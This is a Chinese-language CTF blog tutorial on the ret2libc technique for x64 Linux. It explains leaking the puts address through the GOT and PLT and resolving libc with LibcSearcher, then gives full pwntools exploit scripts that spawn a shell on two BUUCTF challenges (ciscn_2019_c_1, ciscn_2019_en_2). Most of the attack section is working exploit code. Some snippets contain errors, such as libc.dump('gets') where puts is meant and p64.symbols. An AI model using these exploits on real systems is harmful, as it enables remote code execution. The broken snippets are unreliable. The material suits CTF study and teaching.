ret2libc

本文是以

  • x64的cdecl函数调用约定(x64最常见的函数调用约定)为基础来撰写的
  • 泄露puts函数地址为例,此外也可以泄露任何已使用过的函数(got表有数据)的地址来计算

注:x32的调用规则与本文不太一致(system_address + exit_address + binsh_address + b'0'*8)

基本原理

return to libc

通过栈溢出覆盖 eip使得程序 return to libc

  • libc是动态链接共享库,里面有很多函数和字符串段
  • 比如 system() puts() gets()
  • 比如 '/bin/sh'

于是乎我只要构造溢出的数据,就能使得程序自动执行

system('/bin/sh')也就是getshell了

libc address

但是其中有一个很关键的问题,libc动态库的函数或者字符串有以下几个特性

  • 在程序每次运行的时候,libc库的基地址都是不一样的
  • 但是无论如何,libc之间函数或者字符串的相对地址不变(确定libc版本的情况下)

因此我们得先获得libc的基址才能实现我们的目的return to libc,而这一点,我们是通过

  • 先构造函数调用puts(elf.got['puts'])获得泄露的puts函数真实地址
  • 然后通过LibSearcher('puts', puts_real_address)(确定libc版本确定相对地址)计算偏移值
  • 从而得到我们想要的目标system('/bin/sh')调用所需要用到的参数

基本流程

所需的环境

注意,其中的rdi;ret部分内容根据你的需求不同。

传入的参数不止一个比如,你得去找相对应的rdi,rsi,rdx,rcx,r8,r9对应的ret。

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)

构造地址泄露

对于x64 liunx,通过栈溢出实现,调用puts实现泄露puts函数地址

  • call-》plt-》got-》实际在内存中的地址
  • plt表和got表是固定的,在plt文件内可以找到,内存地址不固定
  • plt表:调用需要使用plt表的值
  • got表:用于获取函数实际在内存中的地址
# 用来读取plt和got表
elf = ELF('test_c_1')

# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)
# 执行结束后返回到main函数地址(以防止栈结构被破坏)
payload  = offset
# 即使用puts_plt表嗲用puts(*puts_got)==puts(puts_real_address)
payload += pop_rdi_ret + p64(elf.got['puts']) + p64(elf.plt['puts'])
# 执行完后返回main
payload += p64(p64.symbols('main'))

获取libc信息

对泄露的puts函数实际地址进行格式化,以此为参数得到libc库的信息

# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_real_addr = u64(raw_rev.ljust(8, b'\x00'))

# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_real_addr)

计算sh地址

"/bin/sh",system地址

计算libc的基址从而计算出注入"/bin/sh",system函数的地址,从而实现调用system函数

# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base   = puts_addr - libc.dump('gets') 
system_addr = libc_base + libc.dump('system') 
binsh_addr  = libc_base + libc.dump('str_bin_sh')

调用shell

对于x64 liunx,调用system的标准压栈顺序:

# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)

# bin_sh_address system_address需要计算得到
# unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要
ret = p64(0x4006b9)
payload  = offset + ret
# 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数
# 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。
payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address)

ciscn_2019_c_1

buu-pwn-ciscn_2019_c_1:https://blog.csdn.net/qq_41560595/article/details/108940662

注册机如下

'''
基本环境
'''
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
'''
构造puts(*puts_got)
'''
# puts泄露libc-puts地址
offset = b'\0' + b'a'*(0x50 - 1 + 8)
payload  = offset + p64(0x400c83)
payload += p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

'''
获得libc库信息
'''
p.recvuntil(b'Ciphertext\n')
p.recvline()
raw = p.recvline()
add = u64(raw[:-1].ljust(8, b'\x00'))
print(raw, add)
libc = LibcSearcher('puts', add)
# exit(0)
'''
计算sh真实地址
'''
libc_base = add - libc.dump('puts')
binsh_add = libc_base + libc.dump('str_bin_sh')
system_add= libc_base + libc.dump('system')
payload = offset + p64(0x4006b9)
payload+= p64(0x400c83) + p64(binsh_add) + p64(system_add)
'''
调用system('/bin/sh')
'''
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
cat flag!
'''
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()

image.png

ciscn_2019_en_2

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)

这题和上一题差不多,两题写的时间间隔比较长,这一题是后来写的

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node3.buuoj.cn', 29206)
elf = ELF('ciscn_2019_en_2')

# 溢出值 s 0x30但是之前还有一个变量应该是临时变量,总空间占据0x50
offset  = b'\0' + b'a'*(0x50-1+8)
'''
step1 turn 1
get puts_real_add
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
payload = offset + p64(0x400c83) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
r.sendlineafter('Input your Plaintext to be encrypted', payload)
'''
step2 turn 1
caculate the needed address
'''
r.recvuntil(b'Ciphertext\n\n')
raw = r.recv(6)
# u64即可字符串地址转真地址(数字类型),大小端转换
add = u64(raw.ljust(8, b'\x00'))
print(raw, hex(add))

libc = LibcSearcher('puts', add)
libc_base  = add - libc.dump('puts')
system_add = libc_base + libc.dump('system')
binsh_add  = libc_base + libc.dump('str_bin_sh')

'''
step3 turn 2
jump to system('/bin/sh')
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
payload = offset + p64(0x4006b9) + p64(0x400c83) + p64(binsh_add) + p64(system_add)
r.sendlineafter('Input your Plaintext to be encrypted', payload)

sleep(0.3)
r.sendline('cat flag')
r.interactive()
Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)